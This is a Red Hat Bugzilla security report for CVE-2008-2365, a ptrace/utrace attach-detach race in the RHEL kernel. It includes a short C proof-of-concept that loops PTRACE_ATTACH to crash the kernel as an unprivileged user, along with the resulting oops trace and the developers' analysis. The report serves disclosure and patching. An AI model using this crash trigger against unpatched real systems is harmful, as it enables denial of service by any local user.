Bug 449359 (CVE-2008-2365)

Summary: CVE-2008-2365 kernel: ptrace: Crash on PTRACE_{ATTACH,DETACH} race
Product: [Other] Security Response Reporter: Jan Lieskovsky <jlieskov>
Component: vulnerabilityAssignee: Red Hat Product Security <security-response-team>
Status: CLOSED ERRATA QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: anton, jan.kratochvil, jbaron, lwang, qcai, roland, security-response-team, vgoyal
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2010-12-21 17:18:27 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Bug Depends On: 245735, 311931, 449294, 449361    
Bug Blocks:    

Description Jan Lieskovsky 2008-06-02 12:13:55 UTC
Description of problem:

Alexei Dobryanov has reported the following kernel utrace related issue

1. late ptrace_may_attach() check

   static int ptrace_attach(struct task_struct *task)
        engine = utrace_attach(task, (UTRACE_ATTACH_CREATE
                                      | UTRACE_ATTACH_EXCLUSIVE
                                      | UTRACE_ATTACH_MATCH_OPS),
                               &ptrace_utrace_ops, 0);
        [error checking]
        if (ptrace_may_attach(task)) {
                [more attaching process]

   Doing may attach check there is asking for trouble, because utrace_attach()
   will happily create and modify "struct utrace *" and create and attach
   engines to it on task you don't have permissions. Order should be reverted.
   That's easy.

2. race around &dead_engine_ops setting...

   I originally thought #1 would lead to memory leaks, however, written dumb
   PTRACE_ATTACH'er gave much more amazing results.

   The following program quickly (1 sec) oopses kernel when run against
   process you normally can't attach to (like normal user to getty processes)

#include <stdlib.h>
#include <sys/ptrace.h>

int main(int argc, char *argv[])
	pid_t pid = atoi(argv[1]);

	while (1)
		ptrace(PTRACE_ATTACH, pid, NULL, NULL);

	return 0;

Unable to handle kernel NULL pointer dereference at 0000000000000000 RIP:
 [<ffffffff8005f1cd>] report_quiescent+0x36/0x154
 [<ffffffff8005f316>] utrace_quiescent+0x2b/0x238
 [<ffffffff800601e9>] utrace_get_signal+0x45d/0x4c0
 [<ffffffff80039c6f>] get_signal_to_deliver+0x169/0x47a
 [<ffffffff80008f5a>] do_notify_resume+0xd0/0x7e2
 [<ffffffff80203673>] _spin_unlock_irqrestore+0x3f/0x45
 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f
 [<ffffffff801400c0>] tty_read+0x81/0xc7
 [<ffffffff80202ede>] trace_hardirqs_on_thunk+0x35/0x37
 [<ffffffff80051d71>] trace_hardirqs_on+0x11b/0x13f
 [<ffffffff80009b43>] sysret_signal+0x21/0x31
 [<ffffffff80009deb>] ptregscall_common+0x67/0xac

   This is a race we chatted with Roland about:

> engine's flags and ops settings in utrace_detach() and acting on them in
> report_quiescent():

> utrace_detach()			report_quiescent()
> ---------------			------------------
> [utrace lock held]			[utrace lock is not held]

> engine->flags =

>				if (engine->flags & UTRACE_EVENT(QUIESCE))
>					REPORT(report_quiesce);

> rcu_assign_pointer(engine->ops, &dead_engine_ops);

> At the moment of REPORT call engine's ops are still "live" ptrace ops
> which do not have ->report_quiesce callback. So, there will oops while
> calling function at NULL address. "Dead" ptrace engine ops do have dummy
> callback but it wasn't yet glued.

   Obviously, patch #1 won't fix this.

3. Looks like nobody filed double free at utrace aka
   oops at __rcu_process_callbacks() against RHEL5 kernel.

   It's bug https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=207002
   against FC6, but, hey, every utrace version has it. Test program attached.
   Every user can trigger it.

Comment 8 Vincent Danen 2010-12-21 17:18:27 UTC
This was addressed via:

Red Hat Enterprise Linux version 5 (RHBA-2008:0314)
Red Hat Enterprise Linux version 4 (RHSA-2008:0508)